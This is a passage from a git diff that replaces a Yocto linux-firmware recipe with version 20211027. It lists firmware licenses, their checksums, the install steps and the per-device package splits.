- & Firmware-ibt_firmware \
- & Firmware-it913x \
- & Firmware-IntcSST2 \
- & Firmware-kaweth \
- & Firmware-moxa \
- & Firmware-myri10ge_firmware \
- & Firmware-nvidia \
- & Firmware-OLPC \
- & Firmware-ath9k-htc \
- & Firmware-phanfw \
- & Firmware-qat \
- & Firmware-qcom \
- & Firmware-qla1280 \
- & Firmware-qla2xxx \
- & Firmware-r8a779x_usb3 \
- & Firmware-radeon \
- & Firmware-ralink_a_mediatek_company_firmware \
- & Firmware-ralink-firmware \
- & Firmware-imx-sdma_firmware \
- & Firmware-siano \
- & Firmware-tda7706-firmware \
- & Firmware-ti-connectivity \
- & Firmware-ti-keystone \
- & Firmware-ueagle-atm4-firmware \
- & Firmware-wl1251 \
- & Firmware-xc4000 \
- & Firmware-xc5000 \
- & Firmware-xc5000c \
- & WHENCE \
-"
-
-FILES_${PN}-license += "${nonarch_base_libdir}/firmware/LICEN*"
-FILES_${PN} += "${nonarch_base_libdir}/firmware/*"
-RDEPENDS_${PN} += "${PN}-license"
-RDEPENDS_${PN} += "${PN}-whence-license"
-
-# Make linux-firmware depend on all of the split-out packages.
-# Make linux-firmware-iwlwifi depend on all of the split-out iwlwifi packages.
-# Make linux-firmware-ibt depend on all of the split-out ibt packages.
-python populate_packages_prepend () {
- firmware_pkgs = oe.utils.packages_filter_out_system(d)
- d.appendVar('RRECOMMENDS_linux-firmware', ' ' + ' '.join(firmware_pkgs))
-
- iwlwifi_pkgs = filter(lambda x: x.find('-iwlwifi-') != -1, firmware_pkgs)
- d.appendVar('RRECOMMENDS_linux-firmware-iwlwifi', ' ' + ' '.join(iwlwifi_pkgs))
-
- ibt_pkgs = filter(lambda x: x.find('-ibt-') != -1, firmware_pkgs)
- d.appendVar('RRECOMMENDS_linux-firmware-ibt', ' ' + ' '.join(ibt_pkgs))
-}
-
-# Firmware files are generally not ran on the CPU, so they can be
-# allarch despite being architecture specific
-INSANE_SKIP = "arch"
diff --git a/meta/recipes-kernel/linux-firmware/linux-firmware_20211027.bb b/meta/recipes-kernel/linux-firmware/linux-firmware_20211027.bb
new file mode 100644
index 0000000000..97d42e98e2
--- /dev/null
+++ b/meta/recipes-kernel/linux-firmware/linux-firmware_20211027.bb
@@ -0,0 +1,1067 @@
+SUMMARY = "Firmware files for use with Linux kernel"
+HOMEPAGE = "https://www.kernel.org/"
+DESCRIPTION = "Linux firmware is a package distributed alongside the Linux kernel \
+that contains firmware binary blobs necessary for partial or full functionality \
+of certain hardware devices."
+SECTION = "kernel"
+
+LICENSE = "\
+ Firmware-Abilis \
+ & Firmware-adsp_sst \
+ & Firmware-agere \
+ & Firmware-amdgpu \
+ & Firmware-amd-ucode \
+ & Firmware-amlogic_vdec \
+ & Firmware-atheros_firmware \
+ & Firmware-atmel \
+ & Firmware-broadcom_bcm43xx \
+ & Firmware-ca0132 \
+ & Firmware-cavium \
+ & Firmware-chelsio_firmware \
+ & Firmware-cw1200 \
+ & Firmware-cypress \
+ & Firmware-dib0700 \
+ & Firmware-e100 \
+ & Firmware-ene_firmware \
+ & Firmware-fw_sst_0f28 \
+ & Firmware-go7007 \
+ & Firmware-GPLv2 \
+ & Firmware-hfi1_firmware \
+ & Firmware-i2400m \
+ & Firmware-i915 \
+ & Firmware-ibt_firmware \
+ & Firmware-ice \
+ & Firmware-it913x \
+ & Firmware-iwlwifi_firmware \
+ & Firmware-IntcSST2 \
+ & Firmware-kaweth \
+ & Firmware-Lontium \
+ & Firmware-Marvell \
+ & Firmware-moxa \
+ & Firmware-myri10ge_firmware \
+ & Firmware-netronome \
+ & Firmware-nvidia \
+ & Firmware-OLPC \
+ & Firmware-ath9k-htc \
+ & Firmware-phanfw \
+ & Firmware-qat \
+ & Firmware-qcom \
+ & Firmware-qla1280 \
+ & Firmware-qla2xxx \
+ & Firmware-qualcommAthos_ar3k \
+ & Firmware-qualcommAthos_ath10k \
+ & Firmware-r8a779x_usb3 \
+ & Firmware-radeon \
+ & Firmware-ralink_a_mediatek_company_firmware \
+ & Firmware-ralink-firmware \
+ & Firmware-rtlwifi_firmware \
+ & Firmware-imx-sdma_firmware \
+ & Firmware-siano \
+ & Firmware-tda7706-firmware \
+ & Firmware-ti-connectivity \
+ & Firmware-ti-keystone \
+ & Firmware-ueagle-atm4-firmware \
+ & Firmware-via_vt6656 \
+ & Firmware-wl1251 \
+ & Firmware-xc4000 \
+ & Firmware-xc5000 \
+ & Firmware-xc5000c \
+ & WHENCE \
+"
+
+LIC_FILES_CHKSUM = "file://LICENCE.Abilis;md5=b5ee3f410780e56711ad48eadc22b8bc \
+ file://LICENCE.adsp_sst;md5=615c45b91a5a4a9fe046d6ab9a2df728 \
+ file://LICENCE.agere;md5=af0133de6b4a9b2522defd5f188afd31 \
+ file://LICENSE.amdgpu;md5=d357524f5099e2a3db3c1838921c593f \
+ file://LICENSE.amd-ucode;md5=3c5399dc9148d7f0e1f41e34b69cf14f \
+ file://LICENSE.amlogic_vdec;md5=dc44f59bf64a81643e500ad3f39a468a \
+ file://LICENCE.atheros_firmware;md5=30a14c7823beedac9fa39c64fdd01a13 \
+ file://LICENSE.atmel;md5=aa74ac0c60595dee4d4e239107ea77a3 \
+ file://LICENCE.broadcom_bcm43xx;md5=3160c14df7228891b868060e1951dfbc \
+ file://LICENCE.ca0132;md5=209b33e66ee5be0461f13d31da392198 \
+ file://LICENCE.cadence;md5=009f46816f6956cfb75ede13d3e1cee0 \
+ file://LICENCE.cavium;md5=c37aaffb1ebe5939b2580d073a95daea \
+ file://LICENCE.chelsio_firmware;md5=819aa8c3fa453f1b258ed8d168a9d903 \
+ file://LICENCE.cw1200;md5=f0f770864e7a8444a5c5aa9d12a3a7ed \
+ file://LICENCE.cypress;md5=48cd9436c763bf873961f9ed7b5c147b \
+ file://LICENSE.dib0700;md5=f7411825c8a555a1a3e5eab9ca773431 \
+ file://LICENCE.e100;md5=ec0f84136766df159a3ae6d02acdf5a8 \
+ file://LICENCE.ene_firmware;md5=ed67f0f62f8f798130c296720b7d3921 \
+ file://LICENCE.fw_sst_0f28;md5=6353931c988ad52818ae733ac61cd293 \
+ file://LICENCE.go7007;md5=c0bb9f6aaaba55b0529ee9b30aa66beb \
+ file://GPL-2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://LICENSE.hfi1_firmware;md5=5e7b6e586ce7339d12689e49931ad444 \
+ file://LICENCE.i2400m;md5=14b901969e23c41881327c0d9e4b7d36 \
+ file://LICENSE.i915;md5=2b0b2e0d20984affd4490ba2cba02570 \
+ file://LICENCE.ibt_firmware;md5=fdbee1ddfe0fb7ab0b2fcd6b454a366b \
+ file://LICENSE.ice;md5=742ab4850f2670792940e6d15c974b2f \
+ file://LICENCE.IntcSST2;md5=9e7d8bea77612d7cc7d9e9b54b623062 \
+ file://LICENCE.it913x;md5=1fbf727bfb6a949810c4dbfa7e6ce4f8 \
+ file://LICENCE.iwlwifi_firmware;md5=2ce6786e0fc11ac6e36b54bb9b799f1b \
+ file://LICENCE.kaweth;md5=b1d876e562f4b3b8d391ad8395dfe03f \
+ file://LICENSE.Lontium;md5=4ec8dc582ff7295f39e2ca6a7b0be2b6 \
+ file://LICENCE.Marvell;md5=28b6ed8bd04ba105af6e4dcd6e997772 \
+ file://LICENCE.mediatek;md5=7c1976b63217d76ce47d0a11d8a79cf2 \
+ file://LICENCE.moxa;md5=1086614767d8ccf744a923289d3d4261 \
+ file://LICENCE.myri10ge_firmware;md5=42e32fb89f6b959ca222e25ac8df8fed \
+ file://LICENCE.Netronome;md5=4add08f2577086d44447996503cddf5f \
+ file://LICENCE.nvidia;md5=4428a922ed3ba2ceec95f076a488ce07 \
+ file://LICENCE.NXP;md5=58bb8ba632cd729b9ba6183bc6aed36f \
+ file://LICENCE.OLPC;md5=5b917f9d8c061991be4f6f5f108719cd \
+ file://LICENCE.open-ath9k-htc-firmware;md5=1b33c9f4d17bc4d457bdb23727046837 \
+ file://LICENCE.phanfw;md5=954dcec0e051f9409812b561ea743bfa \
+ file://LICENCE.qat_firmware;md5=9e7d8bea77612d7cc7d9e9b54b623062 \
+ file://LICENSE.qcom;md5=164e3362a538eb11d3ac51e8e134294b \
+ file://LICENCE.qla1280;md5=d6895732e622d950609093223a2c4f5d \
+ file://LICENCE.qla2xxx;md5=505855e921b75f1be4a437ad9b79dff0 \
+ file://LICENSE.QualcommAtheros_ar3k;md5=b5fe244fb2b532311de1472a3bc06da5 \
+ file://LICENSE.QualcommAtheros_ath10k;md5=cb42b686ee5f5cb890275e4321db60a8 \
+ file://LICENCE.r8a779x_usb3;md5=4c1671656153025d7076105a5da7e498 \
+ file://LICENSE.radeon;md5=68ec28bacb3613200bca44f404c69b16 \
+ file://LICENCE.ralink_a_mediatek_company_firmware;md5=728f1a85fd53fd67fa8d7afb080bc435 \
+ file://LICENCE.ralink-firmware.txt;md5=ab2c269277c45476fb449673911a2dfd \
+ file://LICENCE.rtlwifi_firmware.txt;md5=00d06cfd3eddd5a2698948ead2ad54a5 \
+ file://LICENSE.sdma_firmware;md5=51e8c19ecc2270f4b8ea30341ad63ce9 \
+ file://LICENCE.siano;md5=4556c1bf830067f12ca151ad953ec2a5 \
+ file://LICENCE.tda7706-firmware.txt;md5=835997cf5e3c131d0dddd695c7d9103e \
+ file://LICENCE.ti-connectivity;md5=c5e02be633f1499c109d1652514d85ec \
+ file://LICENCE.ti-keystone;md5=3a86335d32864b0bef996bee26cc0f2c \
+ file://LICENCE.ueagle-atm4-firmware;md5=4ed7ea6b507ccc583b9d594417714118 \
+ file://LICENCE.via_vt6656;md5=e4159694cba42d4377a912e78a6e850f \
+ file://LICENCE.wl1251;md5=ad3f81922bb9e197014bb187289d3b5b \
+ file://LICENCE.xc4000;md5=0ff51d2dc49fce04814c9155081092f0 \
+ file://LICENCE.xc5000;md5=1e170c13175323c32c7f4d0998d53f66 \
+ file://LICENCE.xc5000c;md5=12b02efa3049db65d524aeb418dd87ca \
+ file://WHENCE;md5=d627873bd934d7c52b2c8191304a8eb7 \
+ "
+
+# These are not common licenses, set NO_GENERIC_LICENSE for them
+# so that the license files will be copied from fetched source
+NO_GENERIC_LICENSE[Firmware-Abilis] = "LICENCE.Abilis"
+NO_GENERIC_LICENSE[Firmware-adsp_sst] = "LICENCE.adsp_sst"
+NO_GENERIC_LICENSE[Firmware-agere] = "LICENCE.agere"
+NO_GENERIC_LICENSE[Firmware-amdgpu] = "LICENSE.amdgpu"
+NO_GENERIC_LICENSE[Firmware-amd-ucode] = "LICENSE.amd-ucode"
+NO_GENERIC_LICENSE[Firmware-amlogic_vdec] = "LICENSE.amlogic_vdec"
+NO_GENERIC_LICENSE[Firmware-atheros_firmware] = "LICENCE.atheros_firmware"
+NO_GENERIC_LICENSE[Firmware-atmel] = "LICENSE.atmel"
+NO_GENERIC_LICENSE[Firmware-broadcom_bcm43xx] = "LICENCE.broadcom_bcm43xx"
+NO_GENERIC_LICENSE[Firmware-ca0132] = "LICENCE.ca0132"
+NO_GENERIC_LICENSE[Firmware-cadence] = "LICENCE.cadence"
+NO_GENERIC_LICENSE[Firmware-cavium] = "LICENCE.cavium"
+NO_GENERIC_LICENSE[Firmware-chelsio_firmware] = "LICENCE.chelsio_firmware"
+NO_GENERIC_LICENSE[Firmware-cw1200] = "LICENCE.cw1200"
+NO_GENERIC_LICENSE[Firmware-cypress] = "LICENCE.cypress"
+NO_GENERIC_LICENSE[Firmware-dib0700] = "LICENSE.dib0700"
+NO_GENERIC_LICENSE[Firmware-e100] = "LICENCE.e100"
+NO_GENERIC_LICENSE[Firmware-ene_firmware] = "LICENCE.ene_firmware"
+NO_GENERIC_LICENSE[Firmware-fw_sst_0f28] = "LICENCE.fw_sst_0f28"
+NO_GENERIC_LICENSE[Firmware-go7007] = "LICENCE.go7007"
+NO_GENERIC_LICENSE[Firmware-GPLv2] = "GPL-2"
+NO_GENERIC_LICENSE[Firmware-hfi1_firmware] = "LICENSE.hfi1_firmware"
+NO_GENERIC_LICENSE[Firmware-i2400m] = "LICENCE.i2400m"
+NO_GENERIC_LICENSE[Firmware-i915] = "LICENSE.i915"
+NO_GENERIC_LICENSE[Firmware-ibt_firmware] = "LICENCE.ibt_firmware"
+NO_GENERIC_LICENSE[Firmware-ice] = "LICENSE.ice"
+NO_GENERIC_LICENSE[Firmware-IntcSST2] = "LICENCE.IntcSST2"
+NO_GENERIC_LICENSE[Firmware-it913x] = "LICENCE.it913x"
+NO_GENERIC_LICENSE[Firmware-iwlwifi_firmware] = "LICENCE.iwlwifi_firmware"
+NO_GENERIC_LICENSE[Firmware-kaweth] = "LICENCE.kaweth"
+NO_GENERIC_LICENSE[Firmware-Lontium] = "LICENSE.Lontium"
+NO_GENERIC_LICENSE[Firmware-Marvell] = "LICENCE.Marvell"
+NO_GENERIC_LICENSE[Firmware-mediatek] = "LICENCE.mediatek"
+NO_GENERIC_LICENSE[Firmware-moxa] = "LICENCE.moxa"
+NO_GENERIC_LICENSE[Firmware-myri10ge_firmware] = "LICENCE.myri10ge_firmware"
+NO_GENERIC_LICENSE[Firmware-netronome] = "LICENCE.Netronome"
+NO_GENERIC_LICENSE[Firmware-nvidia] = "LICENCE.nvidia"
+NO_GENERIC_LICENSE[Firmware-OLPC] = "LICENCE.OLPC"
+NO_GENERIC_LICENSE[Firmware-ath9k-htc] = "LICENCE.open-ath9k-htc-firmware"
+NO_GENERIC_LICENSE[Firmware-phanfw] = "LICENCE.phanfw"
+NO_GENERIC_LICENSE[Firmware-qat] = "LICENCE.qat_firmware"
+NO_GENERIC_LICENSE[Firmware-qcom] = "LICENSE.qcom"
+NO_GENERIC_LICENSE[Firmware-qla1280] = "LICENCE.qla1280"
+NO_GENERIC_LICENSE[Firmware-qla2xxx] = "LICENCE.qla2xxx"
+NO_GENERIC_LICENSE[Firmware-qualcommAthos_ar3k] = "LICENSE.QualcommAtheros_ar3k"
+NO_GENERIC_LICENSE[Firmware-qualcommAthos_ath10k] = "LICENSE.QualcommAtheros_ath10k"
+NO_GENERIC_LICENSE[Firmware-r8a779x_usb3] = "LICENCE.r8a779x_usb3"
+NO_GENERIC_LICENSE[Firmware-radeon] = "LICENSE.radeon"
+NO_GENERIC_LICENSE[Firmware-ralink_a_mediatek_company_firmware] = "LICENCE.ralink_a_mediatek_company_firmware"
+NO_GENERIC_LICENSE[Firmware-ralink-firmware] = "LICENCE.ralink-firmware.txt"
+NO_GENERIC_LICENSE[Firmware-rtlwifi_firmware] = "LICENCE.rtlwifi_firmware.txt"
+NO_GENERIC_LICENSE[Firmware-siano] = "LICENCE.siano"
+NO_GENERIC_LICENSE[Firmware-imx-sdma_firmware] = "LICENSE.sdma_firmware"
+NO_GENERIC_LICENSE[Firmware-tda7706-firmware] = "LICENCE.tda7706-firmware.txt"
+NO_GENERIC_LICENSE[Firmware-ti-connectivity] = "LICENCE.ti-connectivity"
+NO_GENERIC_LICENSE[Firmware-ti-keystone] = "LICENCE.ti-keystone"
+NO_GENERIC_LICENSE[Firmware-ueagle-atm4-firmware] = "LICENCE.ueagle-atm4-firmware"
+NO_GENERIC_LICENSE[Firmware-via_vt6656] = "LICENCE.via_vt6656"
+NO_GENERIC_LICENSE[Firmware-wl1251] = "LICENCE.wl1251"
+NO_GENERIC_LICENSE[Firmware-xc4000] = "LICENCE.xc4000"
+NO_GENERIC_LICENSE[Firmware-xc5000] = "LICENCE.xc5000"
+NO_GENERIC_LICENSE[Firmware-xc5000c] = "LICENCE.xc5000c"
+NO_GENERIC_LICENSE[WHENCE] = "WHENCE"
+
+PE = "1"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/kernel/firmware/${BPN}-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "bc2657dd8eb82386a9a7ec6df9ccf31c32c7e9073c05d37786c1edc273f9440a"
+
+inherit allarch
+
+CLEANBROKEN = "1"
+
+do_compile() {
+ :
+}
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' 'FIRMWAREDIR=${nonarch_base_libdir}/firmware' install
+ cp GPL-2 LICEN[CS]E.* WHENCE ${D}${nonarch_base_libdir}/firmware/
+}
+
+
+PACKAGES =+ "${PN}-ralink-license ${PN}-ralink \
+ ${PN}-mt7601u-license ${PN}-mt7601u \
+ ${PN}-radeon-license ${PN}-radeon \
+ ${PN}-marvell-license ${PN}-pcie8897 ${PN}-pcie8997 \
+ ${PN}-sd8686 ${PN}-sd8688 ${PN}-sd8787 ${PN}-sd8797 ${PN}-sd8801 \
+ ${PN}-sd8887 ${PN}-sd8897 ${PN}-sd8997 ${PN}-usb8997 \
+ ${PN}-ti-connectivity-license ${PN}-wlcommon ${PN}-wl12xx ${PN}-wl18xx \
+ ${PN}-vt6656-license ${PN}-vt6656 \
+ ${PN}-rs9113 ${PN}-rs9116 \
+ ${PN}-rtl-license ${PN}-rtl8188 ${PN}-rtl8192cu ${PN}-rtl8192ce ${PN}-rtl8192su ${PN}-rtl8723 ${PN}-rtl8821 \
+ ${PN}-rtl8168 \
+ ${PN}-cypress-license \
+ ${PN}-broadcom-license \
+ ${PN}-bcm-0bb4-0306 \
+ ${PN}-bcm43143 \
+ ${PN}-bcm43236b \
+ ${PN}-bcm43241b0 \
+ ${PN}-bcm43241b4 \
+ ${PN}-bcm43241b5 \
+ ${PN}-bcm43242a \
+ ${PN}-bcm4329 \
+ ${PN}-bcm4329-fullmac \
+ ${PN}-bcm4330 \
+ ${PN}-bcm4334 \
+ ${PN}-bcm43340 \
+ ${PN}-bcm4335 \
+ ${PN}-bcm43362 \
+ ${PN}-bcm4339 \
+ ${PN}-bcm43430 \
+ ${PN}-bcm43430a0 \
+ ${PN}-bcm43455 \
+ ${PN}-bcm4350 \
+ ${PN}-bcm4350c2 \
+ ${PN}-bcm4354 \
+ ${PN}-bcm4356 \
+ ${PN}-bcm4356-pcie \
+ ${PN}-bcm43569 \
+ ${PN}-bcm43570 \
+ ${PN}-bcm4358 \
+ ${PN}-bcm43602 \
+ ${PN}-bcm4366b \
+ ${PN}-bcm4366c \
+ ${PN}-bcm4371 \
+ ${PN}-bcm4373 \
+ ${PN}-bcm43xx \
+ ${PN}-bcm43xx-hdr \
+ ${PN}-atheros-license ${PN}-ar9170 ${PN}-ath6k ${PN}-ath9k \
+ ${PN}-gplv2-license ${PN}-carl9170 \
+ ${PN}-ar3k-license ${PN}-ar3k ${PN}-ath10k-license ${PN}-ath10k ${PN}-ath11k ${PN}-qca \
+ \
+ ${PN}-imx-sdma-license ${PN}-imx-sdma-imx6q ${PN}-imx-sdma-imx7d \
+ \
+ ${PN}-iwlwifi-license ${PN}-iwlwifi \
+ ${PN}-iwlwifi-135-6 \
+ ${PN}-iwlwifi-3160-7 ${PN}-iwlwifi-3160-8 ${PN}-iwlwifi-3160-9 \
+ ${PN}-iwlwifi-3160-10 ${PN}-iwlwifi-3160-12 ${PN}-iwlwifi-3160-13 \
+ ${PN}-iwlwifi-3160-16 ${PN}-iwlwifi-3160-17 \
+ ${PN}-iwlwifi-6000-4 ${PN}-iwlwifi-6000g2a-5 ${PN}-iwlwifi-6000g2a-6 \
+ ${PN}-iwlwifi-6000g2b-5 ${PN}-iwlwifi-6000g2b-6 \
+ ${PN}-iwlwifi-6050-4 ${PN}-iwlwifi-6050-5 \
+ ${PN}-iwlwifi-7260 \
+ ${PN}-iwlwifi-7265 \
+ ${PN}-iwlwifi-7265d ${PN}-iwlwifi-8000c ${PN}-iwlwifi-8265 \
+ ${PN}-iwlwifi-9000 \
+ ${PN}-iwlwifi-misc \
+ ${PN}-ibt-license ${PN}-ibt \
+ ${PN}-ibt-11-5 ${PN}-ibt-12-16 ${PN}-ibt-hw-37-7 ${PN}-ibt-hw-37-8 \
+ ${PN}-ibt-17 \
+ ${PN}-ibt-20 \
+ ${PN}-ibt-misc \
+ ${PN}-i915-license ${PN}-i915 \
+ ${PN}-ice-license ${PN}-ice \
+ ${PN}-adsp-sst-license ${PN}-adsp-sst \
+ ${PN}-bnx2-mips \
+ ${PN}-liquidio \
+ ${PN}-nvidia-license \
+ ${PN}-nvidia-tegra-k1 ${PN}-nvidia-tegra \
+ ${PN}-nvidia-gpu \
+ ${PN}-netronome-license ${PN}-netronome \
+ ${PN}-qat ${PN}-qat-license \
+ ${PN}-qcom-license \
+ ${PN}-qcom-venus-1.8 ${PN}-qcom-venus-4.2 ${PN}-qcom-venus-5.2 ${PN}-qcom-venus-5.4 \
+ ${PN}-qcom-vpu-1.0 ${PN}-qcom-vpu-2.0 \
+ ${PN}-qcom-adreno-a3xx ${PN}-qcom-adreno-a530 \
+ ${PN}-qcom-adreno-a630 ${PN}-qcom-adreno-a650 ${PN}-qcom-adreno-a660 \
+ ${PN}-qcom-sdm845-audio ${PN}-qcom-sdm845-compute ${PN}-qcom-sdm845-modem \
+ ${PN}-qcom-sm8250-audio ${PN}-qcom-sm8250-compute \
+ ${PN}-amlogic-vdec-license ${PN}-amlogic-vdec \
+ ${PN}-lt9611uxc ${PN}-lontium-license \
+ ${PN}-whence-license \
+ ${PN}-license \
+ "
+
+# For atheros
+LICENSE:${PN}-ar9170 = "Firmware-atheros_firmware"
+LICENSE:${PN}-ath6k = "Firmware-atheros_firmware"
+LICENSE:${PN}-ath9k = "Firmware-atheros_firmware"
+LICENSE:${PN}-atheros-license = "Firmware-atheros_firmware"
+
+FILES:${PN}-atheros-license = "${nonarch_base_libdir}/firmware/LICENCE.atheros_firmware"
+FILES:${PN}-ar9170 = " \
+ ${nonarch_base_libdir}/firmware/ar9170*.fw \
+"
+FILES:${PN}-ath6k = " \
+ ${nonarch_base_libdir}/firmware/ath6k \
+"
+FILES:${PN}-ath9k = " \
+ ${nonarch_base_libdir}/firmware/ar9271.fw \
+ ${nonarch_base_libdir}/firmware/ar7010*.fw \
+ ${nonarch_base_libdir}/firmware/htc_9271.fw \
+ ${nonarch_base_libdir}/firmware/htc_7010.fw \
+ ${nonarch_base_libdir}/firmware/ath9k_htc/htc_7010-1.4.0.fw \
+ ${nonarch_base_libdir}/firmware/ath9k_htc/htc_9271-1.4.0.fw \
+"
+
+RDEPENDS:${PN}-ar9170 += "${PN}-atheros-license"
+RDEPENDS:${PN}-ath6k += "${PN}-atheros-license"
+RDEPENDS:${PN}-ath9k += "${PN}-atheros-license"
+
+# For carl9170
+LICENSE:${PN}-carl9170 = "Firmware-GPLv2"
+LICENSE:${PN}-gplv2-license = "Firmware-GPLv2"
+
+FILES:${PN}-gplv2-license = "${nonarch_base_libdir}/firmware/GPL-2"
+FILES:${PN}-carl9170 = " \
+ ${nonarch_base_libdir}/firmware/carl9170*.fw \
+"
+
+RDEPENDS:${PN}-carl9170 += "${PN}-gplv2-license"
+
+# For QualCommAthos
+LICENSE:${PN}-ar3k = "Firmware-qualcommAthos_ar3k"
+LICENSE:${PN}-ar3k-license = "Firmware-qualcommAthos_ar3k"
+LICENSE:${PN}-ath10k = "Firmware-qualcommAthos_ath10k"
+LICENSE:${PN}-ath10k-license = "Firmware-qualcommAthos_ath10k"
+LICENSE:${PN}-qca = "Firmware-qualcommAthos_ath10k"
+
+FILES:${PN}-ar3k-license = "${nonarch_base_libdir}/firmware/LICENSE.QualcommAtheros_ar3k"
+FILES:${PN}-ar3k = " \
+ ${nonarch_base_libdir}/firmware/ar3k \
+"
+
+FILES:${PN}-ath10k-license = "${nonarch_base_libdir}/firmware/LICENSE.QualcommAtheros_ath10k"
+FILES:${PN}-ath10k = " \
+ ${nonarch_base_libdir}/firmware/ath10k \
+"
+
+FILES:${PN}-ath11k = " \
+ ${nonarch_base_libdir}/firmware/ath11k \
+"
+
+FILES:${PN}-qca = " \
+ ${nonarch_base_libdir}/firmware/qca \
+"
+
+RDEPENDS:${PN}-ar3k += "${PN}-ar3k-license"
+RDEPENDS:${PN}-ath10k += "${PN}-ath10k-license"
+RDEPENDS:${PN}-ath11k += "${PN}-ath10k-license"
+RDEPENDS:${PN}-qca += "${PN}-ath10k-license"
+
+# For ralink
+LICENSE:${PN}-ralink = "Firmware-ralink-firmware"
+LICENSE:${PN}-ralink-license = "Firmware-ralink-firmware"
+
+FILES:${PN}-ralink-license = "${nonarch_base_libdir}/firmware/LICENCE.ralink-firmware.txt"
+FILES:${PN}-ralink = " \
+ ${nonarch_base_libdir}/firmware/rt*.bin \
+"
+
+RDEPENDS:${PN}-ralink += "${PN}-ralink-license"
+
+# For mediatek MT7601U
+LICENSE:${PN}-mt7601u = "Firmware-ralink_a_mediatek_company_firmware"
+LICENSE:${PN}-mt7601u-license = "Firmware-ralink_a_mediatek_company_firmware"
+
+FILES:${PN}-mt7601u-license = "${nonarch_base_libdir}/firmware/LICENCE.ralink_a_mediatek_company_firmware"
+FILES:${PN}-mt7601u = " \
+ ${nonarch_base_libdir}/firmware/mt7601u.bin \
+"
+
+RDEPENDS:${PN}-mt7601u += "${PN}-mt7601u-license"
+
+# For radeon
+LICENSE:${PN}-radeon = "Firmware-radeon"
+LICENSE:${PN}-radeon-license = "Firmware-radeon"
+
+FILES:${PN}-radeon-license = "${nonarch_base_libdir}/firmware/LICENSE.radeon"
+FILES:${PN}-radeon = " \
+ ${nonarch_base_libdir}/firmware/radeon \
+"
+
+RDEPENDS:${PN}-radeon += "${PN}-radeon-license"
+
+# For lontium
+LICENSE:${PN}-lt9611uxc = "Firmware-Lontium"
+
+FILES:${PN}-lontium-license = "${nonarch_base_libdir}/firmware/LICENSE.Lontium"
+FILES:${PN}-lt9611uxc = "${nonarch_base_libdir}/firmware/lt9611uxc_fw.bin"
+
+# For marvell
+LICENSE:${PN}-pcie8897 = "Firmware-Marvell"
+LICENSE:${PN}-pcie8997 = "Firmware-Marvell"
+LICENSE:${PN}-sd8686 = "Firmware-Marvell"
+LICENSE:${PN}-sd8688 = "Firmware-Marvell"
+LICENSE:${PN}-sd8787 = "Firmware-Marvell"
+LICENSE:${PN}-sd8797 = "Firmware-Marvell"
+LICENSE:${PN}-sd8801 = "Firmware-Marvell"
+LICENSE:${PN}-sd8887 = "Firmware-Marvell"
+LICENSE:${PN}-sd8897 = "Firmware-Marvell"
+LICENSE:${PN}-sd8997 = "Firmware-Marvell"
+LICENSE:${PN}-usb8997 = "Firmware-Marvell"
+LICENSE:${PN}-marvell-license = "Firmware-Marvell"
+
+FILES:${PN}-marvell-license = "${nonarch_base_libdir}/firmware/LICENCE.Marvell"
+FILES:${PN}-pcie8897 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/pcie8897_uapsta.bin \
+"
+FILES:${PN}-pcie8997 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/pcie8997_wlan_v4.bin \
+ ${nonarch_base_libdir}/firmware/mrvl/pcieuart8997_combo_v4.bin \
+ ${nonarch_base_libdir}/firmware/mrvl/pcieusb8997_combo_v4.bin \
+"
+FILES:${PN}-sd8686 = " \
+ ${nonarch_base_libdir}/firmware/libertas/sd8686_v9* \
+ ${nonarch_base_libdir}/firmware/sd8686* \
+"
+FILES:${PN}-sd8688 = " \
+ ${nonarch_base_libdir}/firmware/libertas/sd8688* \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8688* \
+"
+FILES:${PN}-sd8787 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8787_uapsta.bin \
+"
+FILES:${PN}-sd8797 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8797_uapsta.bin \
+"
+FILES:${PN}-sd8801 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8801_uapsta.bin \
+"
+FILES:${PN}-sd8887 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8887_uapsta.bin \
+"
+FILES:${PN}-sd8897 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8897_uapsta.bin \
+"
+do_install:append() {
+ # The kernel 5.6.x driver still uses the old name, provide a symlink for
+ # older kernels
+ ln -fs sdsd8997_combo_v4.bin ${D}${nonarch_base_libdir}/firmware/mrvl/sd8997_uapsta.bin
+}
+FILES:${PN}-sd8997 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8997_uapsta.bin \
+ ${nonarch_base_libdir}/firmware/mrvl/sdsd8997_combo_v4.bin \
+"
+FILES:${PN}-usb8997 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/usbusb8997_combo_v4.bin \
+"
+
+RDEPENDS:${PN}-sd8686 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8688 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8787 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8797 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8801 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8887 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8897 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8997 += "${PN}-marvell-license"
+RDEPENDS:${PN}-usb8997 += "${PN}-marvell-license"
+
+# For netronome
+LICENSE:${PN}-netronome = "Firmware-netronome"
+
+FILES:${PN}-netronome-license = " \
+ ${nonarch_base_libdir}/firmware/LICENCE.Netronome \
+"
+FILES:${PN}-netronome = " \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0081*.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0096*.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0097*.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0099*.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0058-0011_2x40.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0058-0012_2x40.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0078-0011_1x100.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/bpf \
+ ${nonarch_base_libdir}/firmware/netronome/flower \
